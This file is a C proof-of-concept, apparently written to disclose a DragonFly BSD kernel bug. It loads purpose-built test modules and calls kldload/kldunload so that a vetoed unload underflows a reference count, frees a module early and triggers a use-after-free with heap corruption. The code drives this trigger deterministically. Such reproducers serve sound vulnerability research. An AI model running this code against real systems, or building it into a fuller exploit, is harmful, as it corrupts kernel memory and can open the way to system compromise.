DF-2739 / poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 | /* * DF-2739 PoC: linker_file_unload() veto-path reference underflow * -> premature module teardown -> use-after-free. * * Chain (all as root, syscalls only, fully deterministic): * 1. kldload vetoa.ko refs=1 userrefs=1 * 2. kern.vetoa_veto=1 ; kldunload(vetoa) module vetoes; kernel drops * the caller's refs anyway (kern_linker.c:518) -> refs=0, file ALIVE, * userrefs restored to 1. kldstat shows refs=0 on a loaded file. * 3. kldload depb.ko (MODULE_DEPEND vetoa) dep path bumps refs 0->1 * (kern_linker.c:1636): the dependent is now the sole "owner" of a * ref that the veto already consumed once. * 4. kern.vetoa_veto=0 ; kldunload(vetoa) refs==1 -> FULL TEARDOWN of * vetoa while depb->deps[] still references it. kldfind -> ENOENT. * 5. kldunload(depb) linker_file_unload(depb) * -> linker_file_unload(freed vetoa) (kern_linker.c:545) = UAF: * reads/writes freed M_LINKER chunk, TAILQ_REMOVE on freed memory, * indirect call via freed file->ops. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <sys/param.h> #include <sys/linker.h> #include <sys/sysctl.h> #ifndef __DragonFly__ #error DragonFly only #endif static void show(const char *tag, const char *name) { struct kld_file_stat st; int id = kldfind(name); if (id < 0) { printf(" %-26s %-10s : NOT LOADED (%s)\n", tag, name, strerror(errno)); return; } memset(&st, 0, sizeof(st)); st.version = sizeof(st); if (kldstat(id, &st) == 0) printf(" %-26s %-10s : id=%d refs=%d\n", tag, st.name, st.id, st.refs); else printf(" %-26s %-10s : kldstat failed (%s)\n", tag, name, strerror(errno)); } static void setveto(int v) { if (sysctlbyname("kern.vetoa_veto", NULL, NULL, &v, sizeof(v)) < 0) { perror("sysctl kern.vetoa_veto"); exit(1); } } int main(void) { int id1, id2, r; printf("== step 1: kldload vetoa\n"); id1 = kldload("/tmp/kldtest/vetoa.ko"); if (id1 < 0) { perror("kldload vetoa"); exit(1); } printf(" vetoa fileid=%d\n", id1); show("after load", "vetoa.ko"); printf("== step 2: arm veto; kldunload(vetoa) -- expect EBUSY\n"); setveto(1); errno = 0; r = kldunload(id1); printf(" kldunload(%d) = %d errno=%d (%s)\n", id1, r, errno, strerror(errno)); /* BUG MARKER: file still loaded but refs underflowed to 0 */ show("after vetoed unload", "vetoa.ko"); printf("== step 3: kldload depb (MODULE_DEPEND vetoa)\n"); id2 = kldload("/tmp/kldtest/depb.ko"); if (id2 < 0) { perror("kldload depb"); exit(1); } printf(" depb fileid=%d\n", id2); show("dep loaded; vetoa refs", "vetoa.ko"); printf("== step 4: disarm veto; kldunload(vetoa) again\n"); setveto(0); errno = 0; r = kldunload(id1); printf(" kldunload(%d) = %d errno=%d (%s)\n", id1, r, errno, strerror(errno)); show("after second unload", "vetoa.ko"); show("depb still loaded", "depb.ko"); if (r == 0 && kldfind("vetoa.ko") < 0) { printf("*** BUG REPRODUCED: vetoa torn down while depb holds " "a dependency reference (dangling dep->deps[]) ***\n"); printf("== step 5: kldunload(depb) -> " "linker_file_unload(freed vetoa) = UAF\n"); fflush(stdout); sync(); errno = 0; r = kldunload(id2); printf(" kldunload(%d) = %d errno=%d (%s)\n", id2, r, errno, strerror(errno)); printf("*** returned from UAF unload -- heap silently " "corrupted ***\n"); } return (0); } |